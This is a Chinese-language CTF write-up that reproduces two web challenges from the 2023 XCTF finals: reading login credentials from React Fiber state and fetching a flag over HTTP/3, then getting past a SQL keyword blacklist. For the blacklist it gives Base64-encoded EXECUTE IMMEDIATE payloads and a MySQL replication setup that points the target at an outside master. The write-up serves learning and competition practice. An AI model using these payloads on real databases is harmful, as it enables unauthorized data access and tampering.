当时是和SU一起去打的,完整的wp可以查看2023 XCTFfinals SU Writeup,我这里只是参考wp复现一下两道web题。
当时比赛的时候是有一个登录界面,我这里复现用的队里yulate师傅搭的在线环境,比赛的时候没放hint之前一直是零解,后面放了hint之后才有队逐渐做出来。hint说Username and password store in React Redux state,然后开始看这个react框架,KeenLab Tech Talk(二)| 浅谈React框架的XSS及后利用里提到:
在引入了Fiber的React(16.8+),会多出 reactFiber$xxxx 属性,该属性对应的就是这个DOM在React内部对应的FiberNode,可以直接使用child属性获得子节点。节点层级可以从React Dev Tool内查看。通过读取每个FiberNode的 memoizedProps 和 memoizedState ,即可直接获取需要的Prop和State。在高版本使用React Hooks的项目中,FiberNode的 memorizedState 是一个链表,该链表内的节点次序可以参考该组件源码内 useState 的调用顺序。旧版React,引入的属性是 reactInternalInstance 。State也是一个Object而非链表,可以方便地看到每个state的名字。
然后我们可以安装React Dev Tool插件,可以直接看到state中的账号密码:
那么问题来了,能不能不用这个插件直接在前端js里搜索呢?当然是可以的:
但有几个问题,一是当时的代码混淆很多,不好找,第二是当时的密码不是明文,而是md5加密之后的,特征不明显,不好分辨是否是密码,但小红书的逆向工程师tsingshui哥哥告诉我其实还是可以通过下断点直接堆栈溯源找逻辑直接快速定位(但我不会):
然后通过账号和密码我们可以登录进后台,然后会有提示,让我们用http3.0
HTTP3.0又称为HTTP Over QUIC,其弃用TCP协议,改为使用基于UDP协议的QUIC协议来实现,所以我们现在使用的浏览器直接访问是没法访问的:
他会显示404 Not Found,HTTP3.0虽然很潮,但是目前能唯一有效连接的工具还是只有curl,想要重新编译支持HTTP3.0的话过程十分繁琐,既要下Quiche重新编译,又要下brew包管理之类的,不过好在已经有现成的docker了,用别人的就行了:
docker run -it --rm ymuski/curl-http3 curl -Lv https://url/flag.html --http3 -k
最后拿到测试flag
比赛时主页有一个表单可以执行sql命令,但有很多函数被过滤了:
black list
select
set
GRANTS
create
insert
load
PREPARE
rename
update
HANDLER
updatexml
然后还有一个admin.php页面:
#admin.php
<?php
//flag is in /flag
$con = new PDO($dsn,$user,$pass);
$sql = "select * from ctf.admin where username=? and password=?";
$sth = $con->prepare($sql);
$res = $sth->execute([$_POST['username'],$_POST['password']]);
if($sth->rowCount()!==0){
readfile('/flag');
}
代码很简单,首先用PDO预编译确保了我们不能注入,然后只要能从ctf.admin里查出username和password的数据就可以拿到flag,用show可以查表,可以发现题目环境里的数据库里ctf.admin这个表其实根本不存在,因此需要我们自己绕过过滤创建表。
这个方法是当时比赛时清华大学的非预期解,可以看到EXECUTE IMMEDIATE Statement,里面提到在MariaDB 10.0.3 之后,新增了一种动态SQL语句,它可以在单个操作中构建并运行动态SQL语句,它的语法为:
EXECUTE IMMEDIATE stmt_string [INTO var_name [, ...]]
其中stmt_string是要执行的 SQL 查询字符串,可以包含占位符。var_name 是可选的参数列表,用于从查询结果中接收值。我们可以在本地起一个docker测试一下:
docker run -p 127.0.0.1:3306:7706 --name mdb -e MARIADB_ROOT_PASSWORD=Password123! -d mariadb:latest
docker exec -it mdb mariadb --user root -pPassword123!
成功启动。
正常情况下我们可以使用select * from time_zone;查看time_zone下的数据:
这也意味着我们可以使用EXECUTE IMMEDIATE做相同的事,只要输入EXECUTE IMMEDIATE 'select * from time_zone';即可。
虽然创建表的那些函数都被ban了,但当时并没有ban各种字符串编码,我们可以使用UNHEX,BASE64之类的进行绕过,如:
EXECUTE IMMEDIATE FROM_BASE64('Q1JFQVRFIFRBQkxFIGFkbWluICh1c2VybmFtZSBWQVJDSEFSKDIwKSwgcGFzc3dvcmQgVkFSQ0hBUigyMCkp');
即EXECUTE IMMEDIATE 'CREATE TABLE admin (username VARCHAR(20), password VARCHAR(20))';
EXECUTE IMMEDIATE FROM_BASE64('SU5TRVJUIElOVE8gYWRtaW4gKHVzZXJuYW1lLCBwYXNzd29yZCkgVkFMVUVTICgnYWRtaW4nLCAnMTIzNDU2Jyk=');
即EXECUTE IMMEDIATE 'INSERT INTO admin (username, password) VALUES ('admin', '123456')';
最后成功建表并插入数据,在比赛时就可以拿到flag了。
这种方法才是出题人的预期解,可以参考史上最详细Docker部署Mysql主从复制,带每一步骤图!!!
在/etc/mysql/my.cnf [mysqld]块下添加:
[mysqld]
server_id = 2
secure_file_priv=
log-bin = mysql-bin
主服务器执行:
CREATE USER 'admin'@'%' IDENTIFIED BY '123456';
GRANT REPLICATION SLAVE ON *.* TO 'admin'@'%';
从服务器执行:
CHANGE MASTER TO
MASTER_HOST='172.17.0.2',
MASTER_USER='admin',
MASTER_PASSWORD='123456',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=0; START SLAVE;
主从复制建立之后我们就可以把主服务器的数据复制到从服务器里,这样就能成功建表了。